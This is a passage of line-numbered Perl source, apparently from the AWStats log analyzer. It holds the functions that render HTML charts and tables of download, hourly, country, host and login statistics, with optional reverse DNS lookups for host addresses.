14381		print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
14382	}
14383	print "</tr>\n";
14384	my $count   = 0;
14385	for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
14386		print "<tr>";
14387		my $ext = Get_Extension($regext, $u);
14388		if ( !$ext) {
14389			print "<td"
14390			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
14391			  . "><img src=\"$DirIcons\/mime\/unknown.png\""
14392			  . AltTitle("")
14393			  . " /></td>";
14394		}
14395		else {
14396			my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
14397			my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || "&nbsp;";
14398			print "<td"
14399			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
14400			  . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
14401			  . AltTitle("")
14402			  . " /></td>";
14403		}
14404		print "<td class=\"aws\">";
14405		&HTMLShowURLInfo($u);
14406		print "</td>";
14407		if ( $ShowDownloadsStats =~ /H/i ){
14408			print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
14409			print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
14410		}
14411		if ( $ShowDownloadsStats =~ /B/i ){
14412			print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
14413			print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
14414					($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
14415		}
14416		print "</tr>\n";
14417		$count++;
14418		if ($count >= $MaxNbOf{'DownloadsShown'}){last;}
14419	}
14420	&tab_end();
14421}
14422
14423#------------------------------------------------------------------------------
14424# Function:     Prints the hours chart and table
14425# Parameters:   $NewLinkParams, $NewLinkTarget
14426# Input:        -
14427# Output:       HTML
14428# Return:       -
14429#------------------------------------------------------------------------------
14430sub HTMLMainHours{
14431    my $NewLinkParams = shift;
14432    my $NewLinkTarget = shift;
14433
14434    if ($Debug) { debug( "ShowHoursStats", 2 ); }
14435	print "$Center<a name=\"hours\">&nbsp;</a><br />\n";
14436	my $title = "$Message[20]";
14437
14438    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
14439       # extend the title to include the added link
14440           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
14441               "$AddLinkToExternalCGIWrapper" . "?section=TIME&baseName=$DirData/$PROG"
14442           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
14443           . "&siteConfig=$SiteConfig" )
14444           . "\"$NewLinkTarget>$Message[179]</a>");
14445    }
14446
14447	if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) {
14448		$title .= " (GMT "
14449		  . ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" )
14450		  . int( GetTimeZoneTitle_timezone() ) . ")";
14451	}
14452	&tab_head( "$title", 19, 0, 'hours' );
14453	print "<tr><td align=\"center\">\n";
14454	print "<center>\n";
14455
14456	my $max_h = my $max_k = 1;
14457	for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14458
14459		#if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
14460		if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; }
14461		if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; }
14462	}
14463
14464	# Show bars for hour
14465	my $graphdone=0;
14466	foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14467	{
14468		my @blocklabel = ( 0 .. 23 );
14469		my @vallabel   =
14470		  ( "$Message[56]", "$Message[57]", "$Message[75]" );
14471		my @valcolor = ( "$color_p", "$color_h", "$color_k" );
14472		my @valmax = ( int($max_h), int($max_h), int($max_k) );
14473		my @valtotal   = ( $TotalPages,   $TotalHits,   $TotalBytes );
14474		my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes );
14475		my @valdata    = ();
14476		my $xx         = 0;
14477		for ( 0 .. 23 ) {
14478			$valdata[ $xx++ ] = $_time_p[$_] || 0;
14479			$valdata[ $xx++ ] = $_time_h[$_] || 0;
14480			$valdata[ $xx++ ] = $_time_k[$_] || 0;
14481		}
14482		my $function = "ShowGraph_$pluginname";
14483		&$function(
14484			"$title",        "hours",
14485			$ShowHoursStats, \@blocklabel,
14486			\@vallabel,      \@valcolor,
14487			\@valmax,        \@valtotal,
14488			\@valaverage,    \@valdata
14489		);
14490		$graphdone=1;
14491	}
14492	if (! $graphdone)
14493	{
14494		print "<table>\n";
14495		print "<tr valign=\"bottom\">\n";
14496		for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14497			my $bredde_p = 0;
14498			my $bredde_h = 0;
14499			my $bredde_k = 0;
14500			if ( $max_h > 0 ) {
14501				$bredde_p =
14502				  int( $BarHeight * $_time_p[$ix] / $max_h ) + 1;
14503			}
14504			if ( $max_h > 0 ) {
14505				$bredde_h =
14506				  int( $BarHeight * $_time_h[$ix] / $max_h ) + 1;
14507			}
14508			if ( $max_k > 0 ) {
14509				$bredde_k =
14510				  int( $BarHeight * $_time_k[$ix] / $max_k ) + 1;
14511			}
14512			print "<td>";
14513			if ( $ShowHoursStats =~ /P/i ) {
14514				print
14515"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
14516				  . AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) )
14517				  . " />";
14518			}
14519			if ( $ShowHoursStats =~ /H/i ) {
14520				print
14521"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
14522				  . AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) )
14523				  . " />";
14524			}
14525			if ( $ShowHoursStats =~ /B/i ) {
14526				print
14527"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
14528				  . AltTitle(
14529					"$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
14530				  . " />";
14531			}
14532			print "</td>\n";
14533		}
14534		print "</tr>\n";
14535
14536		# Show hour lib
14537		print "<tr" . Tooltip(17) . ">";
14538		for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14539			print "<th width=\"19\">$ix</th>\n"
14540			  ;   # width=19 instead of 18 to avoid a MacOS browser bug.
14541		}
14542		print "</tr>\n";
14543
14544		# Show clock icon
14545		print "<tr" . Tooltip(17) . ">\n";
14546		for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14547			my $hrs = ( $ix >= 12 ? $ix - 12 : $ix );
14548			my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 );
14549			my $apm = ( $ix >= 12 ? "pm"     : "am" );
14550			print
14551"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
14552		}
14553		print "</tr>\n";
14554		print "</table>\n";
14555	}
14556	print "<br />\n";
14557
14558	# Show data array for hours
14559	if ($AddDataArrayShowHoursStats) {
14560		print "<table width=\"650\"><tr>\n";
14561		print "<td align=\"center\"><center>\n";
14562
14563		print "<table>\n";
14564		print
14565"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
14566		if ( $ShowHoursStats =~ /P/i ) {
14567			print "<td width=\"80\" bgcolor=\"#$color_p\""
14568			  . Tooltip(3)
14569			  . ">$Message[56]</td>";
14570		}
14571		if ( $ShowHoursStats =~ /H/i ) {
14572			print "<td width=\"80\" bgcolor=\"#$color_h\""
14573			  . Tooltip(4)
14574			  . ">$Message[57]</td>";
14575		}
14576		if ( $ShowHoursStats =~ /B/i ) {
14577			print "<td width=\"80\" bgcolor=\"#$color_k\""
14578			  . Tooltip(5)
14579			  . ">$Message[75]</td>";
14580		}
14581		print "</tr>";
14582		for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) {
14583			my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
14584			print "<tr>";
14585			print "<td>$monthix</td>";
14586			if ( $ShowHoursStats =~ /P/i ) {
14587				print "<td>",
14588				  Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
14589				  "</td>";
14590			}
14591			if ( $ShowHoursStats =~ /H/i ) {
14592				print "<td>",
14593				  Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
14594				  "</td>";
14595			}
14596			if ( $ShowHoursStats =~ /B/i ) {
14597				print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
14598				  "</td>";
14599			}
14600			print "</tr>\n";
14601		}
14602		print "</table>\n";
14603
14604		print "</center></td>";
14605		print "<td width=\"10\">&nbsp;</td>";
14606		print "<td align=\"center\"><center>\n";
14607
14608		print "<table>\n";
14609		print
14610"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
14611		if ( $ShowHoursStats =~ /P/i ) {
14612			print "<td width=\"80\" bgcolor=\"#$color_p\""
14613			  . Tooltip(3)
14614			  . ">$Message[56]</td>";
14615		}
14616		if ( $ShowHoursStats =~ /H/i ) {
14617			print "<td width=\"80\" bgcolor=\"#$color_h\""
14618			  . Tooltip(4)
14619			  . ">$Message[57]</td>";
14620		}
14621		if ( $ShowHoursStats =~ /B/i ) {
14622			print "<td width=\"80\" bgcolor=\"#$color_k\""
14623			  . Tooltip(5)
14624			  . ">$Message[75]</td>";
14625		}
14626		print "</tr>\n";
14627		for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) {
14628			my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
14629			print "<tr>";
14630			print "<td>$monthix</td>";
14631			if ( $ShowHoursStats =~ /P/i ) {
14632				print "<td>",
14633				  Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
14634				  "</td>";
14635			}
14636			if ( $ShowHoursStats =~ /H/i ) {
14637				print "<td>",
14638				  Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
14639				  "</td>";
14640			}
14641			if ( $ShowHoursStats =~ /B/i ) {
14642				print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
14643				  "</td>";
14644			}
14645			print "</tr>\n";
14646		}
14647		print "</table>\n";
14648
14649		print "</center></td></tr></table>\n";
14650		print "<br />\n";
14651	}
14652
14653	print "</center></td></tr>\n";
14654	&tab_end();
14655}
14656
14657#------------------------------------------------------------------------------
14658# Function:     Prints the countries chart and table
14659# Parameters:   $NewLinkParams, $NewLinkTarget
14660# Input:        -
14661# Output:       HTML
14662# Return:       -
14663#------------------------------------------------------------------------------
14664sub HTMLMainCountries{
14665	my $NewLinkParams = shift;
14666	my $NewLinkTarget = shift;
14667
14668	if ($Debug) { debug( "ShowDomainsStats", 2 ); }
14669	print "$Center<a name=\"countries\">&nbsp;</a><br />\n";
14670	my $title =
14671"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) &nbsp; - &nbsp; <a href=\""
14672	  . (
14673		$ENV{'GATEWAY_INTERFACE'}
14674		  || !$StaticLinks
14675		? XMLEncode("$AWScript${NewLinkParams}output=alldomains")
14676		: "$StaticLinks.alldomains.$StaticExt"
14677	  )
14678	  . "\"$NewLinkTarget>$Message[80]</a>";
14679
14680
14681    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
14682       # extend the title to include the added link
14683           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
14684               "$AddLinkToExternalCGIWrapper" . "?section=DOMAIN&baseName=$DirData/$PROG"
14685           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
14686           . "&siteConfig=$SiteConfig" )
14687           . "\"$NewLinkTarget>$Message[179]</a>");
14688    }
14689
14690	&tab_head( "$title", 19, 0, 'countries' );
14691
14692	my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
14693	my $max_h = 1;
14694	foreach ( values %_domener_h ) {
14695		if ( $_ > $max_h ) { $max_h = $_; }
14696	}
14697	my $max_k = 1;
14698	foreach ( values %_domener_k ) {
14699		if ( $_ > $max_k ) { $max_k = $_; }
14700	}
14701	my $count = 0;
14702
14703	&BuildKeyList(
14704		$MaxNbOf{'Domain'}, $MinHit{'Domain'},
14705		\%_domener_h,       \%_domener_p
14706	);
14707
14708	# print the map
14709	if (scalar @keylist > 1){
14710		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14711		{
14712			my @blocklabel = ();
14713			my @valdata = ();
14714			my $cnt = 0;
14715			foreach my $key (@keylist) {
14716				push @valdata, int( $_domener_h{$key} );
14717				push @blocklabel, $DomainsHashIDLib{$key};
14718				$cnt++;
14719				if ($cnt > 99) { last; }
14720			}
14721			print "<tr><td colspan=\"7\" align=\"center\">";
14722			my $function = "ShowGraph_$pluginname";
14723			&$function(
14724				"AWStatsCountryMap",              "countries_map",
14725				0, 						\@blocklabel,
14726				0,           			0,
14727				0,              		0,
14728				0,          			\@valdata
14729			);
14730			print "</td></tr>";
14731		}
14732	}
14733
14734	print
14735"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
14736
14737	## to add unique visitors and number of visits by calculation of average of the relation with total
14738	## pages and total hits, and total visits and total unique
14739	## by Josep Ruano @ CAPSiDE
14740	if ( $ShowDomainsStats =~ /U/i ) {
14741		print "<th bgcolor=\"#$color_u\" width=\"80\""
14742		  . Tooltip(2)
14743		  . ">$Message[11]</th>";
14744	}
14745	if ( $ShowDomainsStats =~ /V/i ) {
14746		print "<th bgcolor=\"#$color_v\" width=\"80\""
14747		  . Tooltip(1)
14748		  . ">$Message[10]</th>";
14749	}
14750	if ( $ShowDomainsStats =~ /P/i ) {
14751		print "<th bgcolor=\"#$color_p\" width=\"80\""
14752		  . Tooltip(3)
14753		  . ">$Message[56]</th>";
14754	}
14755	if ( $ShowDomainsStats =~ /H/i ) {
14756		print "<th bgcolor=\"#$color_h\" width=\"80\""
14757		  . Tooltip(4)
14758		  . ">$Message[57]</th>";
14759	}
14760	if ( $ShowDomainsStats =~ /B/i ) {
14761		print "<th bgcolor=\"#$color_k\" width=\"80\""
14762		  . Tooltip(5)
14763		  . ">$Message[75]</th>";
14764	}
14765	print "<th>&nbsp;</th>";
14766	print "</tr>\n";
14767
14768	foreach my $key (@keylist) {
14769		my ( $_domener_u, $_domener_v );
14770		my $bredde_p = 0;
14771		my $bredde_h = 0;
14772		my $bredde_k = 0;
14773		my $bredde_u = 0;
14774		my $bredde_v = 0;
14775		if ( $max_h > 0 ) {
14776			$bredde_p =
14777			  int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
14778		}    # use max_h to enable to compare pages with hits
14779		if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
14780		if ( $max_h > 0 ) {
14781			$bredde_h =
14782			  int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
14783		}
14784		if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
14785		if ( $max_k > 0 ) {
14786			$bredde_k =
14787			  int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
14788			  1;
14789		}
14790		if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
14791		my $newkey = lc($key);
14792		if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
14793			print
14794"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
14795			  . AltTitle("$Message[0]")
14796			  . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
14797		}
14798		else {
14799			print
14800"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
14801			  . AltTitle("$newkey")
14802			  . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
14803		}
14804		## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
14805		if ( $ShowDomainsStats =~ /U/i ) {
14806			$_domener_u = (
14807				  $_domener_p{$key}
14808				? $_domener_p{$key} / $TotalPages
14809				: 0
14810			);
14811			$_domener_u += ( $_domener_h{$key} / $TotalHits );
14812			$_domener_u =
14813			  sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
14814			print "<td>".Format_Number($_domener_u)." ("
14815			  . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
14816			  . ")</td>";
14817		}
14818		if ( $ShowDomainsStats =~ /V/i ) {
14819			$_domener_v = (
14820				  $_domener_p{$key}
14821				? $_domener_p{$key} / $TotalPages
14822				: 0
14823			);
14824			$_domener_v += ( $_domener_h{$key} / $TotalHits );
14825			$_domener_v =
14826			  sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
14827			print "<td>".Format_Number($_domener_v)." ("
14828			  . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
14829			  . ")</td>";
14830		}
14831
14832		if ( $ShowDomainsStats =~ /P/i ) {
14833			print "<td>"
14834			  . ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : '&nbsp;' )
14835			  . "</td>";
14836		}
14837		if ( $ShowDomainsStats =~ /H/i ) {
14838			print "<td>".Format_Number($_domener_h{$key})."</td>";
14839		}
14840		if ( $ShowDomainsStats =~ /B/i ) {
14841			print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
14842		}
14843		print "<td class=\"aws\">";
14844
14845		if ( $ShowDomainsStats =~ /P/i ) {
14846			print
14847"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
14848			  . AltTitle("")
14849			  . " /><br />\n";
14850		}
14851		if ( $ShowDomainsStats =~ /H/i ) {
14852			print
14853"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
14854			  . AltTitle("")
14855			  . " /><br />\n";
14856		}
14857		if ( $ShowDomainsStats =~ /B/i ) {
14858			print
14859"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
14860			  . AltTitle("") . " />";
14861		}
14862		print "</td>";
14863		print "</tr>\n";
14864
14865		$total_u += $_domener_u;
14866		$total_v += $_domener_v;
14867		$total_p += $_domener_p{$key};
14868		$total_h += $_domener_h{$key};
14869		$total_k += $_domener_k{$key} || 0;
14870		$count++;
14871	}
14872	my $rest_u = $TotalUnique - $total_u;
14873	my $rest_v = $TotalVisits - $total_v;
14874	my $rest_p = $TotalPages - $total_p;
14875	my $rest_h = $TotalHits - $total_h;
14876	my $rest_k = $TotalBytes - $total_k;
14877	if (   $rest_u > 0
14878		|| $rest_v > 0
14879		|| $rest_p > 0
14880		|| $rest_h > 0
14881		|| $rest_k > 0 )
14882	{    # All other domains (known or not)
14883		print
14884"<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14885		if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
14886		if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
14887		if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
14888		if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14889		if ( $ShowDomainsStats =~ /B/i ) {
14890			print "<td>" . Format_Bytes($rest_k) . "</td>";
14891		}
14892		print "<td class=\"aws\">&nbsp;</td>";
14893		print "</tr>\n";
14894	}
14895	&tab_end();
14896}
14897
14898#------------------------------------------------------------------------------
14899# Function:     Prints the hosts chart and table
14900# Parameters:   $NewLinkParams, $NewLinkTarget
14901# Input:        -
14902# Output:       HTML
14903# Return:       -
14904#------------------------------------------------------------------------------
14905sub HTMLMainHosts{
14906	my $NewLinkParams = shift;
14907	my $NewLinkTarget = shift;
14908
14909	if ($Debug) { debug( "ShowHostsStats", 2 ); }
14910	print "$Center<a name=\"visitors\">&nbsp;</a><br />\n";
14911	my $title =
14912"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) &nbsp; - &nbsp; <a href=\""
14913	  . (
14914		$ENV{'GATEWAY_INTERFACE'}
14915		  || !$StaticLinks
14916		? XMLEncode("$AWScript${NewLinkParams}output=allhosts")
14917		: "$StaticLinks.allhosts.$StaticExt"
14918	  )
14919	  . "\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\""
14920	  . (
14921		$ENV{'GATEWAY_INTERFACE'}
14922		  || !$StaticLinks
14923		? XMLEncode("$AWScript${NewLinkParams}output=lasthosts")
14924		: "$StaticLinks.lasthosts.$StaticExt"
14925	  )
14926	  . "\"$NewLinkTarget>$Message[9]</a> &nbsp; - &nbsp; <a href=\""
14927	  . (
14928		$ENV{'GATEWAY_INTERFACE'}
14929		  || !$StaticLinks
14930		? XMLEncode("$AWScript${NewLinkParams}output=unknownip")
14931		: "$StaticLinks.unknownip.$StaticExt"
14932	  )
14933	  . "\"$NewLinkTarget>$Message[45]</a>";
14934
14935    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
14936       # extend the title to include the added link
14937           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
14938               "$AddLinkToExternalCGIWrapper" . "?section=VISITOR&baseName=$DirData/$PROG"
14939           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
14940           . "&siteConfig=$SiteConfig" )
14941           . "\"$NewLinkTarget>$Message[179]</a>");
14942    }
14943
14944	&tab_head( "$title", 19, 0, 'visitors' );
14945
14946	&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
14947		\%_host_p );
14948
14949	# Graph the top five in a pie chart
14950	if (scalar @keylist > 1){
14951		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14952		{
14953			my @blocklabel = ();
14954			my @valdata = ();
14955			my @valcolor = ($color_p);
14956
14957			my $cnt = 0;
14958			my $suma = 0;
14959			foreach my $key (@keylist) {
14960               $suma=$suma + ( $_host_h{$key});
14961               $cnt++;
14962               if ($cnt > 4) { last; }
14963			}
14964
14965			my $cnt = 0;
14966			foreach my $key (@keylist) {
14967               push @valdata, int( $_host_h{$key} / $suma * 1000 ) / 10;
14968               push @blocklabel, "$key";
14969               $cnt++;
14970               if ($cnt > 4) { last; }
14971			}
14972
14973			print "<tr><td colspan=\"7\">";
14974			my $function = "ShowGraph_$pluginname";
14975			&$function(
14976				"Hosts",              "hosts",
14977				0, 						\@blocklabel,
14978				0,           			\@valcolor,
14979				0,              		0,
14980				0,          			\@valdata
14981			);
14982			print "</td></tr>";
14983		}
14984	}
14985
14986	print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
14987	print "<th>";
14988	if ( $MonthRequired ne 'all' ) {
14989		print
14990"$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>";
14991	}
14992	else {
14993		print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>";
14994	}
14995	&HTMLShowHostInfo('__title__');
14996	if ( $ShowHostsStats =~ /P/i ) {
14997		print "<th bgcolor=\"#$color_p\" width=\"80\""
14998		  . Tooltip(3)
14999		  . ">$Message[56]</th>";
15000	}
15001	if ( $ShowHostsStats =~ /H/i ) {
15002		print "<th bgcolor=\"#$color_h\" width=\"80\""
15003		  . Tooltip(4)
15004		  . ">$Message[57]</th>";
15005	}
15006	if ( $ShowHostsStats =~ /B/i ) {
15007		print "<th bgcolor=\"#$color_k\" width=\"80\""
15008		  . Tooltip(5)
15009		  . ">$Message[75]</th>";
15010	}
15011	if ( $ShowHostsStats =~ /L/i ) {
15012		print "<th width=\"120\">$Message[9]</th>";
15013	}
15014	print "</tr>\n";
15015	my $total_p = my $total_h = my $total_k = 0;
15016	my $count = 0;
15017
15018	my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
15019
15020        if ( $DynamicDNSLookup == 2 ) {
15021	        # Use static DNS file
15022                &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 );
15023        }
15024
15025	foreach my $key (@keylist) {
15026		print "<tr>";
15027		print "<td class=\"aws\">$key";
15028
15029		if ($DynamicDNSLookup) {
15030	                # Dynamic reverse DNS lookup
15031	                if ($key =~ /$regipv4/o) {
15032		                my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$key)),AF_INET));	# This may be slow
15033                	        if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) {
15034                                        if ( $DynamicDNSLookup == 2 ) {
15035                                                # Check static DNS file
15036                                                $lookupresult = $MyDNSTable{$key};
15037                                                if ($lookupresult) { print " ($lookupresult)"; }
15038                                                else { print ""; }
15039                                        }
15040                                        else { print ""; }
15041                                }
15042                                else { print " ($lookupresult)"; }
15043                        }
15044                }
15045
15046		print "</td>";
15047		&HTMLShowHostInfo($key);
15048		if ( $ShowHostsStats =~ /P/i ) {
15049			print '<td>' . ( Format_Number($_host_p{$key}) || "&nbsp;" ) . '</td>';
15050		}
15051		if ( $ShowHostsStats =~ /H/i ) {
15052			print "<td>".Format_Number($_host_h{$key})."</td>";
15053		}
15054		if ( $ShowHostsStats =~ /B/i ) {
15055			print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>';
15056		}
15057		if ( $ShowHostsStats =~ /L/i ) {
15058			print '<td nowrap="nowrap">'
15059			  . (
15060				$_host_l{$key}
15061				? Format_Date( $_host_l{$key}, 1 )
15062				: '-'
15063			  )
15064			  . '</td>';
15065		}
15066		print "</tr>\n";
15067		$total_p += $_host_p{$key};
15068		$total_h += $_host_h{$key};
15069		$total_k += $_host_k{$key} || 0;
15070		$count++;
15071	}
15072	my $rest_p = $TotalPages - $total_p;
15073	my $rest_h = $TotalHits - $total_h;
15074	my $rest_k = $TotalBytes - $total_k;
15075	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
15076	{    # All other visitors (known or not)
15077		print "<tr>";
15078		print
15079"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15080		&HTMLShowHostInfo('');
15081		if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; }
15082		if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
15083		if ( $ShowHostsStats =~ /B/i ) {
15084			print "<td>" . Format_Bytes($rest_k) . "</td>";
15085		}
15086		if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
15087		print "</tr>\n";
15088	}
15089	&tab_end();
15090}
15091
15092#------------------------------------------------------------------------------
15093# Function:     Prints the logins chart and table
15094# Parameters:   $NewLinkParams, $NewLinkTarget
15095# Input:        -
15096# Output:       HTML
15097# Return:       -
15098#------------------------------------------------------------------------------
15099sub HTMLMainLogins{
15100	my $NewLinkParams = shift;
15101	my $NewLinkTarget = shift;
15102
15103	if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); }
15104	print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
15105	my $title =
15106"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) &nbsp; - &nbsp; <a href=\""
15107	  . (
15108		$ENV{'GATEWAY_INTERFACE'}
15109		  || !$StaticLinks
15110		? XMLEncode("$AWScript${NewLinkParams}output=alllogins")
15111		: "$StaticLinks.alllogins.$StaticExt"
15112	  )
15113	  . "\"$NewLinkTarget>$Message[80]</a>";
15114	if ( $ShowAuthenticatedUsers =~ /L/i ) {
15115		$title .= " &nbsp; - &nbsp; <a href=\""
15116		  . (
15117			$ENV{'GATEWAY_INTERFACE'}
15118			  || !$StaticLinks
15119			? XMLEncode("$AWScript${NewLinkParams}output=lastlogins")
15120			: "$StaticLinks.lastlogins.$StaticExt"
15121		  )
15122		  . "\"$NewLinkTarget>$Message[9]</a>";
15123	}
15124	&tab_head( "$title", 19, 0, 'logins' );
15125	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
15126	  . Format_Number(( scalar keys %_login_h )) . "</th>";
15127	&HTMLShowUserInfo('__title__');
15128	if ( $ShowAuthenticatedUsers =~ /P/i ) {
15129		print "<th bgcolor=\"#$color_p\" width=\"80\""
15130		  . Tooltip(3)
15131		  . ">$Message[56]</th>";
15132	}
15133	if ( $ShowAuthenticatedUsers =~ /H/i ) {
15134		print "<th bgcolor=\"#$color_h\" width=\"80\""
15135		  . Tooltip(4)
15136		  . ">$Message[57]</th>";
15137	}
15138	if ( $ShowAuthenticatedUsers =~ /B/i ) {
15139		print "<th bgcolor=\"#$color_k\" width=\"80\""
15140		  . Tooltip(5)
15141		  . ">$Message[75]</th>";
15142	}
15143	if ( $ShowAuthenticatedUsers =~ /L/i ) {
15144		print "<th width=\"120\">$Message[9]</th>";
15145	}
15146	print "</tr>\n";
15147	my $total_p = my $total_h = my $total_k = 0;
15148	my $max_h = 1;
15149	foreach ( values %_login_h ) {
15150		if ( $_ > $max_h ) { $max_h = $_; }
15151	}
15152	my $max_k = 1;
15153	foreach ( values %_login_k ) {
15154		if ( $_ > $max_k ) { $max_k = $_; }
15155	}
15156	my $count = 0;
15157	&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
15158		\%_login_p );
15159	foreach my $key (@keylist) {
15160		my $bredde_p = 0;
15161		my $bredde_h = 0;
15162		my $bredde_k = 0;
